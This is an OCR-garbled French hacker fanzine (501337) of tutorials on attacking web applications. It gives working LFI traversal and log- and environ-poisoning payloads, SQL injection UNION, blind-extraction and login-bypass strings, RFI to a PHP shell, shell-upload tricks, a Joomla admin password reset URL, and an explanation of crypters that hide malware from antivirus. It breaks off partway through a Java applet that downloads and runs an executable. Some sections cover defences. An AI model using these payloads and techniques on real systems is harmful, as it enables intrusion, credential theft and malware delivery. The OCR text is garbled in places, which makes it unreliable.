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Jedito du 1337

Soyez les bienvenu(e)s , 50 1337 est un e-magazine traitant de lI'underground et tout ce qui tourne autour, vous l'aurez

compris.. Le leet speak est né sur les premier BBS bulletin board system, les ancétres de nos forums,le mot leet signifiant
élite est devenu au fil du temps I'embléme de toute une génération .

Qui est 1337 ?

Contrairement a ce que certain peuvent laisser paraitre , le 1337 est avant tout un passionné, quelque soit son sexe, son
age , son travail, son rang social,son origine,sa nationalité, sa couleur de peau. Le leet représente la creme de sa spécialité
grace aux productions qu'il partagera dans ces zone d'autonomie temporaires. Le web est peuplé de 1337 de toute sortes
(chapeaux blanc, chapeaux gris, chapeau noir, phreaker etc..). Les 1337 ne sont pas que des "Hackers" , n'importe quel
artiste faisant de son ceuvre un détournement en arpentant les limites , plus ou moins utile ou créative de leur création, et
étant un des seul a excellé dans sa catégorie peut ainsi faire partie des 1337 si et seulement si ce 1337 entretien une
relation intrinséque et familiére avec un ou plusieurs systeme automatisé.

Qu'est ce que 501337?

501337 est d'abord une idée que j'ai décider de faire fructifier avant 2010,cette idée s'est transformée et est devenue une
équipe, nous ne sommes représentants d'aucune institution, nous sommes conscient qu'il existera toujours un 1337 plus
puissant qu'un autre 1337, c'est pourquoi chaque membre de cette petite équipe a été choisi sur le tas , a l'intérieur de
différentes TAZ et non par des criteres de sélection précis si sa n'est que la qualité de leurs productions a un instant T. Le
simple et unique but de notre association est de répandre et partagé notre savoir entre nous et en méme temps pour vous
dans la bonne humeur, pour laisser une petite trace sur la toile de notre passage. Vous déciderez a la fin de la lecture de ce
magazine quel 501337 vous convient 5013377 /501337!.

Pour aboutir a ce magazine nous avons du faire appel aux contributions des contributeurs que nous avons rencontré
pendant notre chemin, je tiens a remercier tous ceux qui ont pu nous soutenir, ceux qui nous ont conseillés, écoutés, lu ou
regardés. De méme que je remercie ceux qui ont contribué sans hésiter a ce projet , je les remercie de leurs patience, de
leur engouement et leur motivation. Le forum europasecurity.org (voir dans la page amis et partenaires) , je remercie cette
communauté qui a su provoquer cette sérendipité d'idées fructueuses.
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Disclamer

501337 magazine est un fanzine orienté vers la sécurité informatique et la bidouille, écrits par des passionnés, ce n'est pas une
secte, ni une association de malfaiteurs , nous participons a l'entraide en communauté, au développement de solution de
sécurisation, a la signalisation, a la correction de failles de maniére bénévole a l'intérieur de différents forums de discussion. Le
magazine a été créé pour aider les lecteurs a mieux comprendre les enjeux de la sécurité, et de la sécurisation.

Le contenu de ce e-magazine a un but purement pédagogique , si vous souhaitez partager ce magazine vous le pouvez en
respectant les termes de la licence. En aucun cas ses rédacteurs seront responsables de vos méfaits ou illégalitée(s) suite a la
lecture du contenu de ce document. Nous ne sommes pas parfaits, il est possible que des fautes , des anomalies se soient glissées
dans nos articles, si c'est le cas nous sommes ouvert a toutes sortes de corrections , vous trouverez un moyen de nous signaler ces
erreurs grace a l'adresse se situant a la fin du magazine.

Je tiens aussi a préciser que les auteurs des articles ont contribué eux mémes aux publications.

Rappels de la loi Francaise :

L'article L122-6-1 du code de la propriété intellectuelle donne a l'utilisateur de logiciel le droit d'observation ou d'analyse : « la
personne ayant le droit d'utiliser le logiciel peut, sans I'autorisation de I'auteur, observer, étudier ou tester le fonctionnement de ce
logiciel afin de déterminer les idées et les principes qui sont a la base de n'importe quel élément du logiciel lorsqu'elle effectue
toute opération de chargement, d'affichage, d'exécution, de transmission ou de stockage du logiciel qu'elle est en droit d'effectuer
».

licences :

Lorsque vous souhaiterez citer tout ou une partie de cette production il vous est autorisé de partager ,copier , modifier,remixé son
contenu en citant les auteurs des articles et le titre associé en respectant son contexte. Il vous est interdit de vendre le magazine.

Attribution : cette condition oblige I'utilisateur qui souhaiterait diffuser votre oeuvre a vous créditer pour le travail original. C'est
une option qui est retenue par défaut pour toute les licences (mais qui peut bien sur étre levée) et qui peut s'accompagner de
I’'obligation pour la personne qui reproduit I'ceuvre de placer un lien vers la publication originale .

No Commercial (Pas d’utilisation commerciale) : votre travail ne pourra pas faire I’objet d’une utilisation commerciale.

http://creativecommons.org/licenses/by-nc/3.0/

@O0

Les applications, scripts ou codes écrits par les auteurs dans les articles sont Free software sous licence GPL3. « 50-1337
applications » est I'appellation générale attribuée aux applications, script ou code(s) source(s) créé par leurs auteurs des articles
contenus a l'intérieur du fanzine. Pour obtenir plus d'information sur les termes et conditions de licences utilisées par chacun des
auteurs veuillez vous référez aux informations données par leurs auteurs respectifs. Vous pouvez contacté les auteurs a l'aide des
informations contenues dans les articles ou en envoyant un mail a I'addresse situé a la fin du magazine.

50-1337 applications are free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by

the Free Software Foundation, either version 3 of the License, or

(at your option) any later version.

50-1337 applications are distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with 50-1337 applications. If not, see <http://www.gnu.org/licenses/>.
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Techniques d'exploitations d'une Local File Inclusion

Par Rioru

Qu'est-ce qu'une Local File Inclusion?

Une Local File Inclusion (communément
appelé "LFI') est une technique
informatique dont le principe peut-étre
résumé simplement en traduisant le
nom, c'est une "Inclusion de fichier
local". Ce qui signifie qu'on peut inclure
un fichier situé hors du dossier "Web"
grace a quelques petits trucs. Prenons
comme exemple ce code PHP

<?php include($_GET['page’']);?>

Ce code va chercher la variable "page"
et essayer d'inclure et d'exécuter le
fichier spécifié par cette variable.
Imaginons que ce code soit mis sur
I""index.php", et que vous voulez
inclure une autre page "news.php", il
suffira d'aller sur "index.php?
page=news.php". L'include sera lancée
par le serveur, et non par le client. Pour
la LFIl, nous allons utiliser "../" pour
remonter les dossiers jusqu'a la racine.

Par exemple si nous voulons inclure le "passwd" situé dans le dossier "etc", on va
remonter tout les dossiers jusqu'a la racine, ensuite se diriger vers /etc/passwd. Mettez
des "../" autant de fois qu'il le faut. Une dizaine ca devrait étre largement suffisant pour
la plupart des cas.

http://sitelambda.com/index.php?page=../../../../..[..[..]..]..]..]etc/passwd

A présent, si le site est faillible vous devriez voir le fichier passwd s'inclure dans la
page. Notez que I'/etc/passwd n'existe que sous les systémes Linux, et que nous
I'utilisons en général simplement parce que c'est un fichier auquel nous avons assez
souvent les droits de lecture. Pour les systemes Windows, on utilise plus souvent le
C:\boot.ini .

Néanmoins, ce n'est pas suffisant, beaucoup de sites n'utilisent pas l'include de cette
facon.

<?php include($_GET['page'l.".php");?>

Ce code-ci tentera d'inclure une page, et d'y ajouter ".php" a la fin. L'url pour inclure la
fameuse page news sera "index.php?page=news". Et méme ce code reste toujours
faillible a une LFI, a une condition; que les "Magic Quotes" soient désactivés, vous
savez, la fameuse option PHP pour transformer les ' en \' automatiquement. Si le
serveur n'a pas activé les magic quotes, on va utiliser le null byte. Le null byte, c'est un
caractére ayant pour valeur zéro, dans le langage C et ses dérivés, il signifie la fin
d'une chaine de caracteéres. Il est représenté par "%00". Maintenant.. et si.
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http://sitelambda.com/index.php?page=../../../../..[..[..]..]..]..]etc/passwd %00

Cet url-ci va bel et bien réussir a inclure le passwd grace a la technique du Null byte, le ".php" que l'include va tenter d'ajouter a la fin

sera supprimé grace au null byte.

Et maintenant que j'ai une LFl, je fais quoi?

Je connais pour l'instant que trois méthodes d'exploitation
des LFls, notez que ces méthodes ne marchent pas dans
tout les cas.

-L'access.log

Le principe est assez simple, mais peut devenir vite lourd a
mes yeux, il consiste a inclure le fichier qui contient tout les
logs du serveur Web. Le code PHP étant lancé par les
includes, il suffirait juste de laisser sa trace dans ces fameux
logs par exemple comme ga:

http://site.com/<? phpinfo(); ?>

Ensuite on inclut les logs, et voila, la fonction phpinfo();
devrait étre lancée. Notez cependant que souvent, les
navigateurs encodent les liens que vous envoyez au
serveur. "<? phpinfo(); ?>" sera affiché avec quelque chose
dans le style "%3C? phpinfo(); ?%3E" (En passant, je suis
pas sdr du tout de I'encode, je I'ai fait un peu comme je le
sentais), du coup, le code ne sera pas exécuté méme avec
une inclusion. Pour pouvoir écrire du php qui sera loggué tel
quel, il vous faudra coder un tool (ou quand j'en mettrais un
a disposition dans la partie tools) qui ira sur la page pour
vous et laissera sa trace.

Une bonne partie des sites que j'ai vu ont leur logs dans
"/var/log/apache2/access.log", mais ¢a peut varier en
fonction des systémes, et dans les configurations d'apache,
on peut méme enregistrer sous un nom personnel. Si vous
avez les droits, essayez d'inclure carrément le fichier de
configuration apache si jamais.

-Le /proc/self/environ

Celle-ci, c'est ma préférée, méme si j'ai pas eu souvent
I'occasion de I'exploiter, mais en gros, faites un include de
"/proc/self/environ”, ce fichier contient des données sur le
processus en cours (il me semble.) . Vous trouverez une
ligne de ce style la: (Si vous étes sous Firefox)

HTTP_USER_AGENT=Mozilla/5.0

En quoi est-ce si intéressant? En fait, avec Firefox (et peut-
étre d'autre navigateurs) on peut modifier son user-agent,
soit via un plugin, soit manuellement. Je vais vous expliquer
la méthode manuelle. Rendez-vous dans "about:config"
(Tappez ca dans l'url), et créer une nouvelle ligne "Chaine de
caractéres" avec ces données: "general.useragent.override"
et "<? phpinfo(); ?>", actualisez la page contenant l'include
vers le [proc/self/fenviron, vous verrez le phpinfo();
apparaitre par magie. En fait, le code a juste pris la place de
"Mozilla/5.0" et sera exécuté.

-L'exploitation par sessions PHP

Je n'ai découvert cette exploitation que récemment, et je
n'ai pas eu l'occasion de la tester, je I'ai connue grace a
Segmentation Fault, donc n'hésitez pas a y aller si jamais je
ne suis pas trés clair. Pour faire fonctionner cette
exploitation, il vous faudra plusieurs conditions, il faudra
que le site emploie les sessions, et que le contenu ne soit
pas filtré dans ces sessions. Si ce site rassemble toutes ces
conditions, dans le dossier /var/lib/php5/ plusieurs fichiers
devraient exister, ayant comme nom SESS_[PHPSESSID] ou
le PHPSESSID prend le nom du cookie session. En mettant
du code dans une des données de la session (le login par
exemple), et en se connectant dessus, essayez d'inclure le
fichier /var/lib/php5/sess_[votre session] les informations
concernant votre session devraient s'afficher, avec le code
lancé.

Cas particuliers

Dans certains cas, le PHP ne sera pas exécuté, souvent
parce que ce n'est pas un vrai "include();" mais une autre
fonction qui est utilisée, dans ces cas I3, il est tout de méme
intéressant, car vous pouvez lire les codes PHP, donc les
fichiers de configuration. Notez que le code PHP ne sera
peut-étre pas affiché directement sur la page, mais qu'il
faudra vérifier les sources de la page (CTRL+U sur Firefox),
essayez de mettre "<? echo "seraphicsquad"; ?>" dans
un fichier html, vous verrez qu'il ne s'affiche pas
directement, regardez les sources. Ces cas nhe vous
permettront peut-étre pas d'exécuter du code PHP, mais ils
vous permettront d'accéder a autre chose, avoir les
identifiants SQLs d'un fichier de configuration par exemple,
et c'est tout de méme énorme.

Comment se protéger des LFI?

Tout d'abord, par simple mesure de sécurité, activez les
magic quotes dans les configurations de PHP. Je pense
qu'une autre option indispensable est d'activer
I'open_basedir sur votre dossier Web, afin d'éviter les local
file inclusion hors du dossier web. Une bonne solution
également, ca serait de transformer les "/" et "%2f" pour
éviter tout changements de dossiers. Sinon, plus simple,
faire des simples includes non-dynamiques, avec des Ifs
dans le style:

if ($_GET['page'l == "news") {include("news.php"); }
else {include ("accueil.php");}
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veut crypter.

Etude d'un crypteur
Par Xash

En théorie, le fonctionnement d'un crypteur est trés simple: C'est un programme qui permet de rendre indétectable un virus en
changeant la signature du virus. L'utilisateur voit donc une interface graphique et il n'a plus qu'a indiquer au crypter quel fichier il

En pratique, tout cela est un peu plus compliqué.

Builder

Builder

variable p—p»| Cryptage

Code

Fichier .exe

Ressources

Stub

rypteur

Tout d'abord, il y a le fichier que I'on appelle le « Builder »,qui signifie « le constructeur ».Le Builder enregistre donc le code du fichier
a crypter dans une variable (pour voir ce code, il vous suffit d'ouvrir un fichier comportant I'extension .exe avec notepad). Cette
variable est ensuite passé dans une routine de cryptage, tel que XOR afin de modifier la signature du fichier désormais contenu dans
la variable. Et pour finir, nous mettons la variable crypté dans les ressources du « Stub », qui est le programme qui va se charger du

plus gros travail.

Stub

Executable

Ressources

——3| Decryptage

Le Stub contient désormais le fichier crypté dans ses propres
ressources, il peut donc étre déployer sans utilisé le Builder a chaque
fois. Le Stub commence donc par extraire de ces ressources le fichier
crypté. Ensuite, il le decrypte en appelant une fonction qui fait la
méme chose que dans le Builder mais dans le sens inverse: on
obtient donc notre fichier .exe de départ. La derniére fonction et non
pas des moindres sera d'injecter le fichier décrypté directement dans
le processus du Stub afin d'exécuter le fichier précédemment
décrypté. Pour la derniére fonction, qui est la plus difficile, je vous

conseil de faire comme recherche sur google:

- « RunPE » pour du Visual Basic 6
- « MemoryExecute » pour du Delphi

- « MemExecute » pour du C++

TR T —

Processus

Injection

Sections
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Exploitation des failles web
par k3vin mltnlck

+ Sql injection Injection SQL

. Blind sql injection De nombreux développeurs web ne sont pas conscients des possibilités de
manipulation des requétes SQL, et supposent que les requétes SQL sont des

. Bypass sql injection commandes slres. Cela signifie qu'une requéte SQL est capable de contourner les
contrbles et vérifications, comme les identifications, et parfois, les requétes SQL ont

o RFI acces aux commandes d'administration.

L'injection SQL directe est une technique oU un pirate modifie une requéte SQL

) Remote command existante pour afficher des données cachées, ou pour écraser des valeurs

execution importantes, ou encore exécuter des commandes dangereuses pour la base. Cela se
fait lorsque l'application prend les données envoyées par l'internaute, et I'utilise
*  Remote Dump directement pour construire une requéte SQL. Les exemples ci-dessous sont basés sur
Database une histoire vraie, malheureusement..
o Upload php shell code Avec le manque de vérification des données de l'internaute et la connexion au serveur
avec des droits de super utilisateur, le pirate peut créer des utilisateurs, et créer un
o Directory Traversal autre super utilisateur
Vuln (Source php.net)
o Remote Admin Comment trouver une sql injection ?
Password Change Il faut juste ajouter un caractere spécial comme « ‘ » aprés une valeur d'une

variable (GET ou POST)

| -.mr.u .
1111“‘ *.m\“
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Exemple :
Sdetail-article.php?id=11"

Warning: mysql fetch array(): supplied argument is not a valid MySQL result resource in /home/ /public_html/detail-
article.php on line 100

Exploitation :

1-calculer nombre des champs avec order by

2- création notre requéte (union select 1, 2,3......... --) pour trouver le /les champs (columns) infecter
3- replacer numéro champ infecté par des commande sql de type version ()

User () @@datadir dans le but de trouver le maximum d’informations sur la base de donnée.

Exemple :

detail-article.php?id=11+order+by+1--
Jdetail-article.php?id=11+order+by+8--
‘detail-article.php?id=11+order+by+9--

Réponse :

nysql fetch arrav(): supplied argument is not a valid MySQL result resource in /home/ {public_html/detail-
article.php on line 100

Jdetail-article.php?id=-11+union+select+1,2,3,4,5,6,7 8--
Réponse :

[ 2

'detail-article.php?id=-11+union+select+1,version(),3,4,5,6,7 8--
Réponse :

5.0.85-Community

Les opérations possibles avec une sql injection :
. Insertion
. Modification
. Suppression
. Ecrire dans un fichier
. Lecture d un fichier ou répertoire

- Ajouter un utilisateur avec le droit root dans un systeme

( http://www.milwOrm.com/video/watch.php?id=70 )
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Une Blind SQL Injection est utilisée lorsqu'une application web est vulnérable a l'injection SQL, mais les résultats de l'injection ne sont
pas forcément visibles pour I'attaquant (blind sql injection ou injection sql a I'aveugle). La page avec la vulnérabilité ne va pas
forcément afficher les données comme une injection sql normale , celle-ci s'affichera différement en fonction des résultats d'une
instruction logique injecté dans I'énonciation Iégitime SQL appelée pour cette page. Ce type d'attaque peut étre automatisée a l'aide
d'un fuzzer , étant donné qu'une nouvelle déclaration doit étre élaborée pour chaque bit récupéré. Il existe plusieurs outils qui
peuvent automatiser ces attaques une fois que I'emplacement de la vulnérabilité et les informations sur les cibles ont été établis.

Blind SQL Injection

Exemple :

articles.php?id=12345+and+1=1-- vrai

(Par exemple une photo affichée, texte ...)

articles.php?id=12345+and+1=0-- faux

Pour vérifier la version d une base de donnée :
articles.php?id=12345+and+SUBSTRING(@@version,1,1)= 4 <=état faux
articles.php?id=12345+and+SUBSTRING(@@version,1,1) = 5 <=état vrai
Maintenant il faut tester |'existence de quelque table critique comme users/user/root/utilisateur/admin/admins...
Exemple :

articles.php?id=12345+and+(SELECT+count(*)+FROM+user) = état faux
articles.php?id=12345+and+(SELECT+count(*)+FROM+users) = état vrai

Il reste a trouver les champs comme login / password/user /pass ...

Exemple

articles.php?id=12345+and+(SELECT+pass+FROM+user) = état faux
articles.php?id=12345+and+(SELECT+password+FROM+user) = état vrai
Généralement siil n'y a pas table admin on peut retrouver I'administrateur du site dans la table useravec id=1.
Ensuite il faut trouver le mot de passe (crypté), caractere par caractere

Exemple :
AND+ascii(SUBSTRING(select+password+from+users+where+id=1),1)<53 <= faux
AND+ascii(SUBSTRING(select+password+from+users+where+id=1),1)> 53 <= vrai
AND+ascii(SUBSTRING(select+password+from+users+where+id=1),1)= 65 <= vrai
Donc le 1 er caractéere est A (65 = le code ascii correspondant a la lettre)

Puis

AND+ascii(SUBSTRING(select+password+from+users+where+id=1),2)<53 <= faux
AND+ascii(SUBSTRING(select+password+from+users+where+id=1),2)> 53 <= vrai
AND+ascii(SUBSTRING(select+password+from+users+where+id=1),2)= 65 <= vrai

On constate que le 2eme caractéere est A aussi .

Bypass sql injection

Technique d'outre-passement d'une page authentification grace a une variable booléenne (true) .
Si notre requéte est :

Select user from admin where user="k3vin’ and pass='seeyounexttime’

Et que nous modifions notre requete par :

Select user from admin where user="k3vin’ and pass=’ ‘ or 1=1—

Nous obtenons I'accés a la session de k3vin.
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« Remote File Include » touche comme son nom l'indique les fonctions du type include(). Ce type de fonction (comme Require_once()
require(), include(), include_once()) a pour objectif d'inclure un fichier et d'exécuter son contenu sur le serveur.

Remote file include

Comment ¢a marche ?
http://www.k3vin.tld/index.php?page=news.php

Il faut tester :
http://www.k3vin.tld/index.php?page=www.test.tld

Cette manipulation affiche page de test.tld dans le site vulnerable.
Il ne reste qu'a changer I'url de test.tld par I' url d'un php-shell .

Exemple :

!C99madShell v. 2.0 madnet edition!

Software: Apachef2.2.8 {Unix) mod_sslf2.2.8 OpenSSLf0.9.8g mod_auth_passthroughf2.1 mod_bwlimitedf1.4 FrontPagef5.0.2.2635. PHPf4.4.8
uname -a: Linux 2.6.19.1-grsec #4 SMP Wed Feb 13 02:59:48 CST 2008 i686

Safe-mode:
Fhome/f Ffpublic_htmlfjsf
Free 224.36 GB of 8.37 GB (54.94%))

HOME <= => UPDIR Search Buffer Tools Proc. FTP brute Sec. SQL PHP-code Self remove Logout

owned by root

Listing folder {16 files and D folders):

Owner/Group Perms

Remote command execution
« Remote command execution» touche comme son nom l'indique les fonctions du type exec () exécution des commandes. Ce type de

fonction (system, exec, shell_exec, popen , proc_open , passthru ) a pour objectif d’exécuter les commandes msdos ( sous windows
et Shell sous unix ) .

6 - Ay (L] fshell.php?emd=dir

[5] Les plus visités : |_l]

- = = L= - TR . = ) o R e
(&) Disable~ S\ Cockies- -] €55+ 7] Forms= 9| Images~ @ Information | Miscellaneous~ - Qutline~ | o Resize
Le wolume dans le lecteur C n'a pas de nom. Le mum, ro de g rie du wolume est E pertoire .

280272009 1759 ajax 11/01/2009 16:07 appserv 03/12/2008 16:00 bbn 26/02/200% 14:42 blackhat
10:35 chat 12/04/2009 01:11 con 14/04/2009 02:38 411 config php] 14/04/200% 09:48 408
10032009 00:09 elite 10/03/200% 23.52 face 14/04/200% 0945 hackedd 22/01/200% 20:33 648 hta
25%55% mscriptions. php 22/05/2007 0100 15933 ip2location php 17/03/200% 14:23 joom 22/01/200:
milctba 030872008 11:58 8344960 mittha rar 28/01/200% 071:.00 12/01/2009 18:59 new
Meouveau Document texte tst 12/01/2009 14:12 Nouveau dossier 01/042009 1039 44651 pass.php C
projet 140472009 02:35 292 shell php 21/02/200%9 09:26 spip 11/04/2009 14:03 stage 16/02/2009 2]
vh php 04/03/2009 0907 333309226 vBulletin 3.8 Fmal rar 20/01/200%9 1248 z 02/03/2009 18:54
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Faille un peu classique qui consiste a trouver une page qui extrait une base de donnée vers un ficher .sgl dans le but de créer
un copie d'une base de donnée. Il n est pas facile de trouver cette faille puisque il faut vérifier le code source d'une page
dynamique ligne par ligne pour trouver cette page non protégée. Parmi les exemples les plus connus le forum vb 3.6.5, il faut
juste acces au fichier install/finalupgrade.php pour avoir une copie de la base de ce forum

Upload php shell code

Généralement il faut chercher une page non protéger pour faire un upload de fichier .php ( php - shell ) qui permet de gérer
totalement le serveur victime (en exploitant les vulnerabilités php/mysql ajoutés dans le shell ... ) aussi il est possible de modifier
le nom d'un fichier php vers .gif.php pour dépasser la sécurité des formulaires d'upload (Mime type spoofing).

Directory Traversal Vuln

Le but est d'exploité une sécurité insuffisante dans la validation des fichiers , il faut assainir les noms de fichiers rentrés par
|'utilisateur dans I'application.

Warning: filesize() [function filesize]: Stat failed

M Jetc/passwd (ermno=2 - No such file or directory) in /srv/ftp-

users Mtphvww/ 'docs/galpanier.php on line 63
Warning: Cannot modify header information - headers already sent by (output started at /srv/ftp-users/ tpwww! Idocs/galpanier php:63) in /srv/ftp-
users/ IHtplwww/ * Idocs/galpanier.php on line 63
Warning: Cannot modify header information - headers already sent by (output started at /stv/ftp-users/ Mplwww! 'docs/galpanier php:63) in /srv/ftp-
users/ [ftphorww ‘docs/galpanier.php on line 66
Warning: Cannot modify header information - headers already sent by (output started at /srv/ftp-users Mp ! /docs/galpanier php:63) in /srv/ftp-
users/ IHtpfwww/ /docs/galpanier.php on line 67
Warning: Cannot modify header information - headers already sent by (output started at /srv/fip-users Mrprwww! docs/galpanier. php:65) in /srv/ftp-
users/ IHtpfwww/ 'docs/galpanier.php on line 68

rootz:0:Uroot root/bin'bash binx:1:1-bin:/bin:bin'bash daemon=:2:2-Daemon/sbin-bin'bash lpx-4:7 Printing daemon:var/spoollpd:bin'bash mail=-8:12-Mailer daemon:/var/spool/clientmquene:/binfalse

newsx:9:13: News systen/etc/news:/bin'bash wepz:10:14:Unix-to-Unix CoPy system/etc/uuep:/bin'bash gamesx:12:100-Games account:var/games-/bin'bash manx13:62:Manual pages

viewer:/var/cache/man-/bin‘bash atx:25:25-Batch jobs daemon:var/spool! Jbinbash wwwrunx30-8-WWW daemon apache:var/ib/wwwrun:binfalse fipx-40-49FTP account/srv/ftp:bin'bash

postfirS 1:51 Postfix Daemon:/var/spool'postfic/bin‘false mysqlx:60:101MySQL database admin:/var/ib/mysql/binfalse sshdx:71:65:SSH daemon-fvar/lib/sshd-binfalse ntpx:74:65534NTP

daemon:var/lib/ntp:binfalse nobodyx:65534:65533 nobody-var/ib/nobody-binbash 503503+ b/ 1000:100. :1001:100:Ferid
/home. /binbash  x1002:100. /home/  'bin'bash vscanx:65:102:Vscan account:var spool/ Jbin'false

Le but de cette attaque est d'accéder a un fichier sur I'ordinateur qui n'est pas destiné a étre accessible. Cette attaque exploite le
manque de sécurité (le logiciel agit exactement comme il est supposé fonctionner), par opposition a I'exploitation d'un bug dans le
code.

Remote Admin Password Change

Une dréle de faille capable de changer le mot de passe d'un administrateur d'un site ,elle consiste a accéder a la page utilisée
pour changer le mot de passe de I' utilisateur.

Exemple faille token dans joomla 1,5,4
Il faut juste visiter cette cette url pour changer le mot de passe du super administrateur du site.

url = http://target.tld/index.php?option=com_user&view=reset&layout=confirm
Ré-initialiser votre mot de passe

Pour terminer la ré initialisation du mot de passe, veuillez saisir un nouveau mot de passe.

Mot de passe:

Vérification du mot de passe:

P —
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Protection contre le vol de sessions
Par Rootix

Introduction :

La sécurité des sessions est devenue un des enjeux majeurs des applications web. Dans le cas d'une attaque XSS coupler avec une
attaque CSRF, le pirate pourras usurper la session de la victime de maniere totalement invisible. Dans ce tutoriel je vais essayer de
mettre au point une méthode pour contrer au maximum ce genre d'attaque. Bien évidement sur internet la sécurité n'est jamais
qguelque chose d'acquis a 100%.

Usurper une session, qu'est-ce que sa signifie ?

Le pirate va chercher par tout les moyens possible de subtiliser vos cookies, afin de pouvoir se faire passer pour vous. Les cookies
sont un moyen pour permettre votre authentification sans avoir a ressaisir un formulaire de connexion a chaque visite.

Comment lutter contre ?

Mon idée consiste a personnaliser au maximum les cookies afin de détecter si celui-ci vous appartient réellement ou pas.

Une premiere approche

Personnaliser un cookie, kezako ? On va essayer de le rendre le plus personnel possible en lui attribuant des variables propres au
visiteurs comme sont User-agent, sont ip ou encore sa langue.

mu'.n I
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Voici une petite class php qui permet de vérifier les cookies.

<?php

class cookie

{

private $ip ;
private $user_agent;
private $langue ;
private $host;
private $hash;

public function __construct ()

{
$this->ip = $_SERVER["REMOTE_ADDR"];
$this->user_agent = $_SERVER["HTTP_USER_AGENT"];
$this->langue = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
$this->host = $_SERVER["HTTP_HOST"];
$this->hash = md5('~#'.$this->user_agent.'-°a0'.$this->ip.'["&]"'.$this->langue. $this->host);

}

public function verifier_cookie()
{

// cette fonction permet de vérifier si le cookie n'a pas été usurpé
$this->my_cookie = isset($_COOKIE['identification']) ? htmlspecialchars($_COOKIE['identification']) : '';
if ( $this->hash == $this->my_cookie)
return false;

else
return true;

}
public function definir_cookie($time_expire)

setcookie('identification', $this->hash, $time_expire);

}

$cookie = new cookie();
if ($cookie->verifier_cookie())

{

// les cookies ne correspondent pas

echo'cookies volé';

}

7>

Le gros probléme de cette class c'est que si le visiteur change d'ip, il
devra ressaisir le formulaire de connexion ce qui peut vite devenir un
probléme si l'utilisateur a une ip dynamique. Une des solutions serais
d'utiliser une vérification moins stricte et d'utiliser :

$this->ip = gethostbyaddr($_SERVER['REMOTE_ADDR']);
au lieu de :
$this->ip = $_SERVER["REMOTE_ADDR"];

TR
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Remote download exécution avec java : utilisation et protection

Par tOfx
Sources : SnK (unk) / wikipedia i e DR G w‘
Cet article va traiter d'une attaque devenue tres !
populaire, I'exécution d'un fichier malicieux par le |
biais d'un applet java. La signature numérique de I'application ne peut pas _
Vous avez surement déja vu ce genre de pop-up en étre vérifiée. Souhaitez-vous exécuter I'application ? ;
naviguant sur le web : [
La signature de [l'application n'est pas vérifiée, [l [
cependant si I'applet se trouve sur un site tres visité Nom : Poker
ou un site de confiance, la plupart des visiteurs vont | i ‘
slrement cliquer sur « Exécuter ». I Editeur: Mickael Davis
Dans une premiere partie vous allez découvrir
comment créer un de ses applets, comment le signer De: http: //slllgames.net
et comment l'insérer dans une page web. |
Par la suite vous connaitrez les différentes méthodes [] Toujours faire confiance au contenu provenant de cet editeur .}

de protection contre ce type d'attaque.

II Exécuter H Annuler

confiznce. Ne lancez lexécution que si vous faites confiance 3 bz Plus dinformations. ..

@ La signature numerique ne peut pas 2tre verifide par une source de
B source de l'application.

mu'.n m='
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Introduction :
Comment ce genre d'attaque est-il possible ?

La plate-forme Java fut I'un des premiers systemes a offrir le support de I'exécution du code a partir de sources distantes.
Un applet peut fonctionner dans le navigateur web d’un utilisateur, exécutant du code téléchargé depuis un serveur HTTP.
Le code d’un applet fonctionne dans un espace trés restrictif, ce qui protége I'utilisateur des codes erronés ou mal intentionnés.

Cet espace est délimité par un objet appelé gestionnaire de sécurité. Un tel objet existe aussi pour du code local, mais il est alors par
défaut inactif.

Le gestionnaire de sécurité (la classe SecurityManager) permet de définir un certain nombre d’autorisations d’utilisation des
ressources du systeme local (systeme de fichiers, réseau, propriétés systeme, ...).

Une autorisation définit :

1. un code accesseur (typiqguement, une applet - éventuellement signée - envoyée depuis un serveur web);
2. une ressource locale concernée (par exemple un répertoire);
3. un ensemble de droits (par exemple lire/écrire).

Les éditeurs d'applet peuvent demander un certificat pour leur permettre de signer numériquement un applet comme sire, leur
donnant ainsi potentiellement (moyennant I'autorisation adéquate) la permission de sortir de I'espace restrictif et d’accéder aux
ressources du systeme local.

C'est en utilisant ce certificat qu'une personne mal intentionnée va pouvoir créer un applet malveillant et le diffuser.

Analyse de l'attaque :

[Serveur hébergeant

e malware

Les utilisateurs surfent sur un site internet, l'applet s'ouvre et demande d'installer un plugin. Si l'utilisateur accepte, l'applet fait
télécharger un exécutable depuis un serveur distant et I'exécute en local.

|| kbbb b bt LR I : Illnwmm..l.l
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Etant donné que le Java est multi-plateforme, les applets Java peuvent étre exécutées sur différentes plateformes, dont Windows
(Windows mobile inclus), UNIX, Mac OS, Linux et encore Symbian ce qui permet aux hackers de pouvoir toucher un maximum de
public. Le deuxieme avantage de cette attaque est de pouvoir changer le fichier qui sera exécuté via I'applet sans avoir a modifier
I'applet lui méme. Donc si I'applet est installé sur une centaine de sites et que I'exécutable devient détecté par beaucoup d'antivirus,
le hacker n'a simplement qu'a remplacer le fichier depuis le serveur sur lequel il est hébergé. Le point faible de ce type d'attaque : le
navigateur a besoin du plugin Java pour pouvoir exécuter un applet. Ce type d'attaque n'est pas nouveau, les premiéres utilisations
de ces applets datent de 2005, Christopher Boyd, de chez Vital security recherchait des paroles de chansons quand sur certains sites
il lui été proposé d'installer un applet Java. Cet applet téléchargeait un virus et I'exécutait. L'applet a été baptisé a I'époque
Java.OpenStream.t

Depuis, de nombreuses variantes ont fait leur apparition...

Trojan.)Java.ClassLoader.a
Trojan.Java.ClassLoader.b
Trojan.)Java.ClassLoader.c
Trojan.)Java.ClassLoader.d
BlackBox.class
BlackBox]).class
BlackBox.class
RunString.class

Dans la suite de cet article vous sera présenté un exemple d'applet fonctionnant avec un exécutable pour toutes versions de
Windows.

Création d'un exécutable de test :

Pour tester le fonctionnement d'un applet Java de type Download / execute nous allons d'abord créer un exécutable qui nous servira
de test.
Nous allons utiliser un simple Hello World en C#

using System;
namespace hello_world

class Program

{

static void Main(string[] args)

Console.WriteLine("Hello world !");
Console.ReadLine();
}
}
}

Compilez sous evil.exe et uploadez le sur un site internet.
Nous allons maintenant passer a la partie Java.

Code source de l'applet :
Tout d'abord le code java :

import java.applet.Applet;
import java.io.*;

import java.net.URL;

import java.net.URLConnection;
import java.awt.*;

import java.net.*;

public class Evil extends Applet
{

public void start()

{
try

// On utilise le répertoire des fichiers temporaires pour pouvoir fonctionner avec vista et

seven

String fileoot = System.getenv("TEMP");
I

ll gl
